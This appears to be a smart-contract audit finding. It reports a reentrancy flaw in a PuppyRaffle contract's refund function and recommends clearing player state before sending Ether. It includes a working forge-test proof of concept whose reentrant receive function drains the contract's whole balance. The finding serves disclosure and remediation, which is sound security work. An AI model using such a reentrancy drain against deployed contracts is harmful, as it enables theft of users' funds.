Summary
The function refund, allows an external contract to drain all Ether funds from the contract by executing a reentrancy attack.
Vulnerability Details
refund function vulnerable to reentrancy attack
Impact
Loss of contract Ether funds
POC using forge test
function testRefundReentrancy() public playersEntered {
assertEq(address(puppyRaffle).balance, 4 * entranceFee);
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
assertEq(address(puppyRaffle).balance, 0);
}
receive() external payable {
if (address(puppyRaffle).balance > 0) {
uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
}
}
Tools Used
Recommendations
Update player state first before sending Ether. Please see reentrancy attacks for further details
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}